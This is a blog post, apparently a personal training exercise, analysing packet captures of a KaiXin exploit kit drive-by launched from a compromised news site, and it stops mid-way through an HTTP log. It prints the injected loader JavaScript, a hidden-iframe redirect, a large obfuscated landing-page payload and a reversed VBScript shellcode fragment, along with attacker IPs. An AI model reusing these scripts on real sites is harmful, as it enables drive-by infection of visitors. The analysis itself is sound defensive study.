{"id":206,"date":"2015-10-16T16:51:08","date_gmt":"2015-10-16T15:51:08","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=206"},"modified":"2016-02-23T21:55:14","modified_gmt":"2016-02-23T21:55:14","slug":"malware-exercise-from-threatglass-2015-09-20-www-koreatimes-com","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=206","title":{"rendered":"Malware Exercise from ThreatGlass (2015-09-20 www.koreatimes.com)"},"content":{"rendered":"<p>So while waiting for Brad to come up with his next exercise, I figured that I would do some lab work &#8220;independently&#8221; while I waited. So I went over to <a href=\"http:\/\/www.threatglass.com\" target=\"_blank\">Threatglass<\/a> to see what I could find there. This one stood out to me being half-Korean and all so I figured that I would try my hand at it. The one that I used is from the <a href=\"http:\/\/threatglass.com\/malicious_urls\/koreatimes-com-2015-09-20\" target=\"_blank\">Korea Times website<\/a>. There you can find the PCAP and the screenshots that Threatglass posts. <\/p>\n<p>One thing that I wanted to note here is my lack of knowledge and understanding around how to decode\/de-obfuscate code (or how to RE binaries) when coming across these infections. If anyone reading this post (or any other of my posts) has some insight\/resources on how to decode these, that would be great. <\/p>\n<p>Some links from smarter people than me looking into this EK:<br \/>\n<a href=\"http:\/\/www.kahusecurity.com\/2012\/new-chinese-exploit-pack\/\" target=\"_blank\">http:\/\/www.kahusecurity.com\/2012\/new-chinese-exploit-pack<\/a><br \/>\n<a href=\"http:\/\/www.kahusecurity.com\/2012\/escalating-java-attacks\/\" target=\"_blank\">http:\/\/www.kahusecurity.com\/2012\/escalating-java-attacks<\/a><br \/>\n<a href=\"http:\/\/malwarefor.me\/2015-09-20-kaixin-ek-from-korean-news-website\/\" target=\"_blank\">http:\/\/malwarefor.me\/2015-09-20-kaixin-ek-from-korean-news-website<\/a><br \/>\n<a href=\"http:\/\/www.malware-traffic-analysis.net\/2015\/01\/31\/index.html\" target=\"_blank\">http:\/\/www.malware-traffic-analysis.net\/2015\/01\/31\/index.html<\/a><\/p>\n<p>The below write-up is what I found from this infection. <\/p>\n<p>&#8211; Date and time of the activity.<br \/>\n&gt; First Packet: 2015-09-20 13:09:23 \/ Last Packet: 2015-09-20 13:11:18 \/ Elapsed: 1m:55s<\/p>\n<p>&#8211; The infected computer&#8217;s IP address.<br \/>\n&gt; 192.168.56.10<\/p>\n<p>&#8211; The infected computer&#8217;s MAC address.<br \/>\n&gt; 00:20:18:eb:ca:38<\/p>\n<p>&#8211; The infected computer&#8217;s host name.<br \/>\n&gt; alan-1fd4b27f5d<\/p>\n<p>&#8211; The infected computer&#8217;s operating system.<br \/>\n&gt; Windows XP \/ IE 8.0<\/p>\n<p>&#8211; Domains and IP addresses of any infection traffic.<br \/>\n&gt; 74.114.48.134 \/ www.koreatimes.com (Initial infected site)<br \/>\n&gt; 133.130.90.152<br \/>\n&gt; 199.188.106.162<br \/>\n&gt; 61.147.67.180 \/ count2.51yes.com<br \/>\n&gt; 142.0.137.70:803<br \/>\n&gt; 142.0.137.66:3201<br \/>\n&gt; 142.0.137.69:805<\/p>\n<p>&#8211; Type of exploit kit(s) was used.<br \/>\n&gt; KaiXin<\/p>\n<p>&#8211; The root cause (what is the likely cause of the infection noted in the pcap).<br \/>\n&gt; From what I can tell, the infection of this user stemmed from a drive-by-infection from visiting the Korea Times website. There is a malicious Javascript file that has been injected into the site.<\/p>\n<p>Notes about the investigation<br \/>\n=============================<br \/>\nSo the initial infection seems to stem from a malicious javascript file that gets called off the main site (mentioned above under the root cause). The script, as you can see below, seems to have a function (p,a,c,k,e,d) and is doing something with it. At the end of it, we can see that the IP address of 133.130.90.152 (granted jumbled up), and also a &#8216;write&#8217; to a file called ad.gif. <\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nif(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=\/;expires='+expires.toGMTString()\r\neval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c\/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(\/^\/,String)){while(c--)d&#x5B;e(c)]=k&#x5B;c]||e(c);k=&#x5B;function(e){return d&#x5B;e]}];e=function(){return'\\\\w+'};c=1;};while(c--)if(k&#x5B;c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k&#x5B;c]);return p;}('4.5(\\'&lt;0 6=1 2=3:\/\/a.b.c.7\/8.9&gt;&lt;\/0&gt;\\');',13,13,'script|javascript|src|http|document|writeln|language|152|ad|gif|133|130|90'.split('|'),0,{}));}\r\n\r\nvar arrTopmenuTab = &#x5B;&quot;topmenu_01&quot;,&quot;topmenu_02&quot;,&quot;topmenu_03&quot;,&quot;topmenu_04&quot;,&quot;topmenu_05&quot;,&quot;topmenu_06&quot;,&quot;topmenu_07&quot;,&quot;topmenu_08&quot;,&quot;topmenu_09&quot;,&quot;topmenu_10&quot;];\r\nfunction setTopmenuTab(tabid){\r\n\tfor(i=0;i&lt;arrTopmenuTab.length;i++){\r\n\t\tvar pi = arrTopmenuTab&#x5B;i].split(&quot;_&quot;);\r\n\t\tvar num = pi&#x5B;1];\r\n\t\tif(arrTopmenuTab&#x5B;i]==tabid){\r\n\t\t\tdocument.getElementById(arrTopmenuTab&#x5B;i]).style.display = &quot;block&quot;;\r\n\t\t\tdocument.getElementById(&quot;tab&quot;+ num).className = &quot;naviON&quot;;\r\n\t\t}else{   \r\n\t\t\tdocument.getElementById(arrTopmenuTab&#x5B;i]).style.display = &quot;none&quot;;\r\n\t\t\tdocument.getElementById(&quot;tab&quot;+ num).className = &quot;naviOFF&quot;;\r\n\t\t} \r\n\t}        \r\n}\r\n<\/pre>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/ad.gif HTTP\/1.1\r\nAccept: *\/*\r\nReferer: http:\/\/www.koreatimes.com\/\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: 133.130.90.152\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Sun, 20 Sep 2015 12:09:38 GMT\r\nServer: Apache\/2.2.15 (CentOS)\r\nX-Powered-By: PHP\/5.6.8\r\nSet-Cookie: naver=naver; expires=Mon, 21-Sep-2015 12:09:38 GMT; Max-Age=86400\r\nContent-Length: 91\r\nConnection: close\r\nContent-Type: text\/html; charset=UTF-8\r\n\r\ndocument.write('&lt;iframe src=http:\/\/199.188.106.162\/index.html width=1 height=1&gt;&lt;\/iframe&gt;');\r\n<\/pre>\n<p>If we take a look at the file &#8216;ad.gif,&#8217; you can see that it is clearly NOT an image file, but part of the infection chain that makes another call out to another site. I have a hunch that the script above is writing the IP address and naming the file &#8216;ad.gif&#8217; since we can see the phrase &#8220;document.write&#8221; in the ad.gif file.<\/p>\n<p>We then see a GET request for &#8220;index.html&#8221; which is located on host 199.188.106.162 as you can see below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/index.html HTTP\/1.1\r\nAccept: image\/gif, image\/jpeg, image\/pjpeg, image\/pjpeg, application\/x-shockwave-flash, *\/*\r\nReferer: http:\/\/www.koreatimes.com\/\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: 199.188.106.162\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Length: 15197\r\nContent-Type: text\/html\r\nLast-Modified: Thu, 17 Sep 2015 11:49:21 GMT\r\nAccept-Ranges: bytes\r\nETag: &quot;dc8f66e43ef1d01:246&quot;\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:34 GMT\r\n<\/pre>\n<p>It is here that we can see that the index page for this site has some encoding within it. I am not exactly sure what is going on here with this site and the encoding that it has. Below is the code after running it through JSBeautifier<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;script type=&quot;text\/javascript&quot; src=&quot;swfobject.js&quot;&gt;&lt;\/script&gt;\r\n&lt;script src=&quot;jquery.js&quot;&gt;&lt;\/script&gt;\r\n&lt;script type=&quot;text\/javascript&quot;&gt;\r\n    var apple = deconcept.SWFObjectUtil\r\n        .getPlayerVersion();\r\n    var xmPpPuD =\r\n        '@@@@@@@@@@@var@@out@@str@len@charCodeAt@@case@@c3@length@@if@@@return@@@@@@0xff@@@c4@sum@break@while@fromCharCode@c2@String@c1@char2@nbChar@0xffffffff@mx@function@do@AVgHbu2f@X3cQCMIIF@ErTiUlaxlkP@@delta@char3@str2long@@BMOYPRD4H@join@0x3F@for@@@@@@@@@@@vl@key@itVm_snY3@false@nbencode@sl@nbcode@KEY@NtCion@long2str@GIEMslIELDjE@utf8to16@FmWtXi3u16JALRAit1VuGOcq1pnWFYOb7OmMGe3@I5uSvjBjGDm4akWvC7vE4FIPZcu6z2fYMOqc68Q0dz5sjdPRu3ngW7RgHVWTPp22yVVFeCep7q6KBpNfPk4GJaW@zsS@Jm3e8CVO7Xf0c0BmpOn9HFqaZYswP5XJXBesNvIjrqGcIj7yAXnPToAiXOxFqakm8lQykAdEwlsU2sHQHI@IsIoFAqAlqJm6m3CPorXf7vkbyWaShaUpBA5RS6eUIOB0fOl4rPxlhqBPBeE0ZW@uOCsQvnx2GZkl06ZioJHsgjBDYcFmnSVKDKp8WVT2M8rIJBBb2GWxo@ygyYporSSXKHx@HmWA2@3zc3m@LFx2LryagtoOY8MHUQpLTB1@6cCGOC1MpEAOTKB@3qkTqkru@iUK@rmYeJ8JJwghNwE1qYgSjpV5xqMSGtFq5P5JlZGffTE2cc2W96EwsvFA0lbOsnK21Ia@p66D9pEPvd68UuGxO8VLGKLOWbqSkoIUbAgFojvvQoBn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Yxylz47vetrPhPa@8b8jf1d82YfnnyAXIUlPtNhjlflLgSxWJHwP6NsgEsNqxdXg7CCvlaWwLBkAo6EWaViUEMw3cPxxuvOAbmAz4dHeesMLolpzqH5HTnEE8zv8Y1LqsnskbMRBNrpOMcSKVMvd0z@Yg5s@SQ6Rd0qMJQVnxDUcX@ZZJaO6Brl87jrQyvenBN5ZtRSyEPyGnA9GdkG74PLAhIzsYF0pNzvc5pLnEAlwOvRbHpwz5DCWZTkodspp4Q@cTxqMa5@dgmWD@j2exaW82FcA4kJ3iIQueBkFsM6O49Bb3fUaawbPgUObwtWhWBr3X@wNIA8qdyFbt3fmzfN1EIEhcLlxHUNCIpkTC1Hfa5t9OEtWGIu@6JvHeOHuAHX82nwxOGQDIhC6CLZRigVT6Em@8YlN0kOQtuLZVLXTllgMtBHfWlF@CbiBKQmBAm9ssBaVwDUxo15HEvF90dWPLbI',\r\n        xmP76x, C69df3E, xmPpPub0 =\r\n        '\\x40',\r\n        benz = 'YcVoEu',\r\n        audi = 'BmPuWv',\r\n        jaguar = 'IzLmAw',\r\n        ferrari = 'LjNsSx',\r\n        lamborghini = 'OmHfLx',\r\n        GTR = 'regedt32',\r\n        C69df3E3 = '\\x73\\x70' + '\\x6C' +\r\n        '\\x69' + '\\x74';\r\n    try {\r\n        alert(a, b, c);\r\n    } catch (e) {\r\n        xmP76x = eval;\r\n        C69df3E = xmP76x;\r\n    }\r\n    try {\r\n        alert(e, f, g);\r\n    } catch (e) { \/*NB VIP*\/\r\n        C69df3E \/*9.9*\/ (function( \/*jsnb vip*\/\r\n            p, \/*jsnb  vip*\/ a, \/*jsnb vip*\/\r\n            c, \/*478188809*\/ k, \/*jsnb vip*\/\r\n            e, \/*jsnb vip*\/ d \/*jsnb vip*\/\r\n        ) {\r\n            e = function(c) {\r\n                return (c &lt;\r\n                        a ?\r\n                        '' :\r\n                        e(\r\n                            parseInt(\r\n                                c \/\r\n                                a\r\n                            )\r\n                        )) +\r\n                    ((c = c %\r\n                            a\r\n                        ) &gt;\r\n                        35 ?\r\n                        String\r\n                        .fromCharCode(\r\n                            c +\r\n                            29\r\n                        ) :\r\n                        c.toString(\r\n                            36\r\n                        ))\r\n            };\r\n            if (!''.replace(\/^\/,\r\n                    String)) {\r\n                while (c--) {\r\n                    d&#x5B;e(c)] = k&#x5B;\r\n                            c] ||\r\n                        e(c)\r\n                }\r\n                k = &#x5B;function(e) {\r\n                    return\r\n                        d&#x5B;\r\n                            e\r\n                        ]\r\n                }];\r\n                e = function() {\r\n                    return\r\n                        '\\\\w+'\r\n                };\r\n                c = 1\r\n            };\r\n            while (c--) {\r\n                if (k&#x5B;c]) {\r\n                    p = p.replace(\r\n                        new RegExp(\r\n                            '\\\\b' +\r\n                            e(\r\n                                c\r\n                            ) +\r\n                            '\\\\b',\r\n                            'g'\r\n                        ),\r\n                        k&#x5B;c]\r\n                    )\r\n                }\r\n            }\r\n            return p\r\n        }(\r\n            'b 1c=5q,O=1c(\\'u\\'+\\'6W\\'+\\'6K\\'+\\'e\\'),1k=\\'%31%32\\'+\\'%33\\'+\\'%34%35%36\\'+\\'%37%38\\',P=\\'%64%6f\\'+\\'%63\\'+\\'%75%6d%65\\'+\\'%6e%74\\',1h=\\'6E\/6D+6x++6w+a\/6v+6y+6A+6l+3E+1Y+1X+1Z\/1W\/1N\/1R+1S\/1U+3I+1T\/2d\/2e+2o+2n+2p+2q\/R\/2s\/2r+2m\/2l+2g+2f\/2h+2i\/2k\/2j+2t\/1E\/1t\/1s\/1u+1v+1r\/1w\/1y\/1n+1p+1q+1o\/1m+1x\/1M+1I+8\/1H+1J\/1K+1z+1L+1G\/28+1F\/\/1A+1B+1C+1D+\/1O\/3F+3D\/4\/+3M+3L+3K+3C+3B+6C+2Z\/3a+3b+3c+2Y+2X\/2T\/2U\/2V+2W\/3d+3e\/3l\/3m+3n\/3o\/3k+3j+3f\/3g+3h\/3i\/2S\/2R\/2B\/2C\/2D+2E\/2A\/2z+2v+2w+2x\/2y\/2F+2G+2N+2O+2P\/2Q\/2M+2L+2H\/2I+2J+2K\/3p+3q\/3W+3X\/\/3Y+3Z+3V+3U+3Q+3R+3S\/3T\/4a\/4b\/4i\/4j\/4k+4l++4h+4g+4c+4d\/4e+4f+3P\/3O\/3x\/3y+3z\/3A\/3w+3v+3r\/3s\/3t\/\/3u\\',Q=\\'%77\\'+\\'%72%69%74\\'+\\'%65\\',W;M 1l(f){b d,i,g,c;b I,T;d=&#x5B;];g=f.m;i=0;D(i&lt;g){c=f.h(i++);3N(c&gt;&gt;4){j 0:j 1:j 2:j 3:j 4:j 5:j 6:j 7:d&#x5B;d.m]=f.3J(i-1);C;j 12:j 13:I=f.h(i++);d&#x5B;d.m]=G&#x5B;\\'E\\'](((c&amp;3H)&lt;&lt;6)|(I&amp;Y));C;j 14:I=f.h(i++);T=f.h(i++);d&#x5B;d.m]=G.E(((c&amp;2u)&lt;&lt;12)|((I&amp;Y)&lt;&lt;6)|((T&amp;Y)&lt;&lt;0));C}}r d.X(\\'\\')}b 1i=&quot;%39&quot;+&quot;%63&quot;+&quot;%6b&quot;+&quot;%63&quot;+&quot;%6b&quot;+&quot;%63&quot;+&quot;%6b&quot;;b J=3G 4m(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);P=O(P);M 1g(f){b H,F,l,A;b i,g,d;g=f.m;i=0;d=&quot;&quot;;D(i&lt;g){N{H=J&#x5B;f.h(i++)&amp;x]}D(i&lt;g&amp;&amp;H==-1);o(H==-1)C;N{F=J&#x5B;f.h(i++)&amp;x]}D(i&lt;g&amp;&amp;F==-1);o(F==-1)C;d+=G.E((H&lt;&lt;2)|((F&amp;1P)&gt;&gt;4));N{l=f.h(i++)&amp;x;o(l==61)r d;l=J&#x5B;l]}D(i&lt;g&amp;&amp;l==-1);o(l==-1)C;d+=G.E(((F&amp;1Q)&lt;&lt;4)|((l&amp;1V)&gt;&gt;2));N{A=f.h(i++)&amp;x;o(A==61)r d;A=J&#x5B;A]}D(i&lt;g&amp;&amp;A==-1);o(A==-1)C;d+=G.E(((l&amp;2b)&lt;&lt;6)|A)}r d}M 1j(v,w){b 1a=v.m;b 1f=v&#x5B;1a-1]&amp;K;Z(b i=0;i&lt;1a;i++){v&#x5B;i]=G.E(v&#x5B;i]&amp;x,v&#x5B;i]&gt;&gt;&gt;8&amp;x,v&#x5B;i]&gt;&gt;&gt;16&amp;x,v&#x5B;i]&gt;&gt;&gt;24&amp;x)}o(w){r v.X(\\'\\').2c(0,1f)}2a{r v.X(\\'\\')}}M U(s,w){b g=s.m;b v=&#x5B;];Z(b i=0;i&lt;g;i+=4){v&#x5B;i&gt;&gt;2]=s.h(i)|s.h(i+1)&lt;&lt;8|s.h(i+2)&lt;&lt;16|s.h(i+3)&lt;&lt;24}o(w){v&#x5B;v.m]=g}r v}W=O(1k+1i);M 1e(f,1b){o(f==&quot;&quot;){r&quot;&quot;}b v=U(f,1d);b k=U(1b,1d);b n=v.m-1;b z=v&#x5B;n-1],y=v&#x5B;0],S=6B;b L,e,q=4n.6z(6+52\/(n+1)),B=q*S&amp;K;D(B!=0){e=B&gt;&gt;&gt;2&amp;3;Z(b p=n;p&gt;0;p--){z=v&#x5B;p-1];L=(z&gt;&gt;&gt;5^y&lt;&lt;2)+(y&gt;&gt;&gt;3^z&lt;&lt;4)^(B^y)+(k&#x5B;p&amp;3^e]^z);y=v&#x5B;p]=v&#x5B;p]-L&amp;K}z=v&#x5B;n];L=(z&gt;&gt;&gt;5^y&lt;&lt;2)+(y&gt;&gt;&gt;3^z&lt;&lt;4)^(B^y)+(k&#x5B;p&amp;3^e]^z);y=v&#x5B;0]=v&#x5B;0]-L&amp;K;B=B-S&amp;K}r 1j(v,6L)}Q=O(Q);t=\\'6M+6J+6I+6F++6G+6H\/6u+6t\/6g+6h+6i+6c\/6a\/5Z\/66\/67\/68+6j+6k\/6q\/6r+6s+6p+6o\/6O+6m\/6n+\/6N+V+7n\/7u\/7g+7f\/7h\/7i\/7q+7j+7k+7l\/7m\/7s+7t\/n\/+7r+7o+7p+7e+7c\/6V\/7d\/6X\/6U+6T\/6P\/6Q\/\/\/6R+6S\/6Y\/6Z+79+7a\/7b++78\/76+70\/71\/73+5Y+5X\/4R+4S+4T+4Q\/4P\/4L+\/4M+4N+\\'+1h+\\'+4O+4U\/4V+5c+5d+5e+5b+5a+4W\/4X\/4Y\/4Z+4K+4J+\/4u\/4v\/4w\/4x+4t\/4s+4o\/4p\/4q+4r\/4y\/4z\/4G\/4H++4I+4F+4E\/4A\/4B+4C\/4D+5f\/5g+5J+5K+5L\/6\/5I\/5H\/5D+5E\/5F+5G\/5M\/5N\/5U\/5V+5W\/5T+5S\/5O+5P\/5Q+5R+5C+5B+5n++5o\/5p\/5m+5l+5h+5i\/5j\/5k\/e\/5r\/5y\/5z\/5A\/5x\/5w+5s\/5t\/5u\\';t=1l(1e(1g(t),W));5v&#x5B;P]&#x5B;Q](t);',\r\n            62, 465, xmPpPuD&#x5B;\r\n                C69df3E3](\r\n                xmPpPub0), 0, {}\r\n        ))\r\n    }\r\n\r\n    function ckl() {\r\n        var bmw;\r\n        bmw = new window&#x5B;'Array'](263,\r\n            275, 275, 271, 217, 206,\r\n            206, 208, 216, 216, 205,\r\n            208, 215, 215, 205, 208,\r\n            207, 213, 205, 208, 213,\r\n            209, 206, 213, 213, 205,\r\n            260, 279, 159, 260);\r\n        return bmw;\r\n    }\r\n\r\n    function ckls() {\r\n        return\r\n            &quot;JB2kHkHkgFPKLKLFmFZFZKwFmF2F2KwFmFgFBKwFmFBFKKLFBFBKwByk2Bygggg&quot;;\r\n    }\r\n&lt;\/script&gt;\r\n&lt;script language=&quot;javascript&quot; src=&quot;http:\/\/count2.51yes.com\/click.aspx?id=25685989&amp;logo=1&quot;\r\ncharset=&quot;gb2312&quot;&gt;&lt;\/script&gt;\r\n<\/pre>\n<p>So somewhere in that mess above is the instruction to call another site off this same IP address as seen below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/jquery.js HTTP\/1.1\r\nAccept: *\/*\r\nReferer: http:\/\/199.188.106.162\/index.html\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: 199.188.106.162\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Length: 19883\r\nContent-Type: application\/x-javascript\r\nLast-Modified: Thu, 17 Sep 2015 11:38:18 GMT\r\nAccept-Ranges: bytes\r\nETag: &quot;108f3d593df1d01:246&quot;\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:35 GMT\r\n<\/pre>\n<p>When we look at the &#8220;jquery.js&#8221; file we can see that this file has more code in it. The interesting thing about this file is that it looks to be doing evaluations of different browsers and what java version is installed\/being used with said browser. Also, the code in the page is looking for certain classid&#8217;s which all seem to deal with Internet Explorer and what version of Java is being utilized with IE. But there is one clasid in particular (CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA) which has been explited in the past and has a CVE attached to it. To read more about this, please see these links: http:\/\/www.kb.cert.org\/vuls\/id\/886582\/ and http:\/\/www.greyhathacker.net\/?p=610. I am, once again, reminded of why one should not have Java installed on their system if they can help it. <\/p>\n<p>We then see within the stream that there is another call to this page:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/LjNsSx.html HTTP\/1.1\r\nAccept: image\/gif, image\/jpeg, image\/pjpeg, image\/pjpeg, application\/x-shockwave-flash, *\/*\r\nReferer: http:\/\/199.188.106.162\/index.html\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: 199.188.106.162\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Length: 16087\r\nContent-Type: text\/html\r\nLast-Modified: Thu, 17 Sep 2015 11:38:18 GMT\r\nAccept-Ranges: bytes\r\nETag: &quot;108f3d593df1d01:246&quot;\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:35 GMT\r\n<\/pre>\n<p>The funny thing with this page is the fact that the script starts off backwards:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;textarea style='display:none' id='lshdic200Xpage'&gt;&gt;TPIRCS\/&lt;\r\nnoitcnuf dne\r\nfi dne  \r\nfi dne     \r\n)(edomefastontes          \r\n  esle     \r\n                    )(edocllehsnur         \r\n)noisreVtni(etirw.tnemucod         \r\n)&quot;EI &gt;rb&lt;&quot;(etirw.tnemucod         \r\nneht )4&lt;noisreVtni(fi     \r\n\r\n)0(wrhc&amp;)00(wrhc&amp;)76723(wrhc&amp;)00(wrhc&amp;yarraym=yarraym     \r\n)00(wrhc&amp;)00(wrhc&amp;)00(wrhc&amp;)00(wrhc&amp;)00(wrhc&amp;)10(wrhc&amp;)6712(wrhc&amp;)10(wrhc        =yarraym     \r\nnehT eurT=)(etaerC fI  \r\n)(tinInigeB  \r\n\r\n0=x9niw  \r\n\r\nfi dne  \r\n             \r\n  noitcnuf   tixe     \r\nesle  \r\n   ))2 ,5 + )&quot;EISM&quot; ,ofni(rtSnI ,ofni(diM(tnIC = noisreVtni             \r\n neht   )0&gt;)&quot;EISM&quot;,ofni(rtsni( fi  \r\n\r\nfi dne  \r\nnoitcnuf   tixe     \r\nneht   )0&gt;)&quot;46niW&quot;,ofni(rtsni(fi  \r\n\r\ntnegAresU.rotagivaN=ofni  \r\ntxeN emuseR rorrE nO  \r\n)(nigeB noitcnuf\r\n&gt;&quot;tpircSBV&quot;=EGAUGNAL TPIRCS&lt;&lt;\/textarea&gt;\r\n<\/pre>\n<p>We now see that the URL mentioned at the end of the index.html page above is now being called as you can see below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/click.aspx?id=25685989&amp;logo=1 HTTP\/1.1\r\nAccept: *\/*\r\nReferer: http:\/\/199.188.106.162\/index.html\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: count2.51yes.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Sun, 20 Sep 2015 12:10:12 GMT\r\nServer: Microsoft-IIS\/6.0\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 1.1.4322\r\nCache-Control: private\r\nContent-Type: text\/html; charset=gb2312\r\nContent-Length: 1773\r\n<\/pre>\n<p>On this page we can see some more code, but with more &#8220;document.write&#8221; statements with what looks to be a hidden iframe:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nfunction y_gVal(iz)\r\n{var endstr=document.cookie.indexOf(&quot;;&quot;,iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}\r\nfunction y_g(name)\r\n{var arg=name+&quot;=&quot;;var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i&lt;clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(&quot; &quot;,i)+1;if(i==0) break;}return null;}\r\nfunction cc_k()\r\n{var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf(&quot;cck_lasttime&quot;);if(yesiz==-1){document.cookie=&quot;cck_lasttime=&quot;+yesctime+&quot;; expires=&quot; + y_e.toGMTString() +  &quot;; path=\/&quot;;document.cookie=&quot;cck_count=0; expires=&quot; + y_e.toGMTString() +  &quot;; path=\/&quot;;return 0;}else{var y_c1=y_g(&quot;cck_lasttime&quot;);var y_c2=y_g(&quot;cck_count&quot;);y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3&gt;yesvisitor){y_c2=y_c2+1;document.cookie=&quot;cck_lasttime=&quot;+yesctime+&quot;; expires=&quot;+y_e.toGMTString()+&quot;; path=\/&quot;;document.cookie=&quot;cck_count=&quot;+y_c2+&quot;; expires=&quot;+y_e.toGMTString()+&quot;; path=\/&quot;;}return y_c2;}}\r\nvar yesdata;\r\nyesdata='&amp;refe='+escape(document.referrer)+'&amp;location='+escape(document.location)+'&amp;color='+screen.colorDepth+'x&amp;resolution='+screen.width+'x'+screen.height+'&amp;returning='+cc_k()+'&amp;language='+navigator.systemLanguage+'&amp;ua='+escape(navigator.userAgent);\r\ndocument.write('&lt;a href=&quot;http:\/\/countt.51yes.com\/index.aspx?id=25685989&quot; target=_blank&gt;&lt;img width=20 height=20 border=0 hspace=0 vspace=0 src=&quot;http:\/\/count2.51yes.com\/count1.gif&quot; alt=&quot;51YES\u00cd\u00f8\u00d5\u00be\u00cd\u00b3\u00bc\u00c6\u00cf\u00b5\u00cd\u00b3&quot;&gt;&lt;\/a&gt;');document.write('&lt;iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http:\/\/count2.51yes.com\/sa.htm?id=25685989'+yesdata+' height=0 width=0&gt;&lt;\/iframe&gt;'\r\n<\/pre>\n<p>We then see two calls to &#8216;count2.51yes.com&#8217; &#8211; one is for the &#8216;count1.gif&#8217; and the other one for the page that we see below. The interesting thing with the page below looks like it is returning information about the system and what page the client is coming from via a GET request and not a POST.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/sa.htm?id=25685989&amp;refe=http%3A\/\/www.koreatimes.com\/&amp;location=http%3A\/\/199.188.106.162\/index.html&amp;color=24x&amp;resolution=800x600&amp;returning=0&amp;language=en-us&amp;ua=Mozilla\/4.0%20%28compatible%3B%20MSIE%208.0%3B%20Windows%20NT%205.1%3B%20Trident\/4.0%29 HTTP\/1.1\r\nAccept: image\/gif, image\/jpeg, image\/pjpeg, image\/pjpeg, application\/x-shockwave-flash, *\/*\r\nReferer: http:\/\/199.188.106.162\/index.html\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: count2.51yes.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Sun, 20 Sep 2015 12:10:14 GMT\r\nServer: Microsoft-IIS\/6.0\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 1.1.4322\r\nCache-Control: 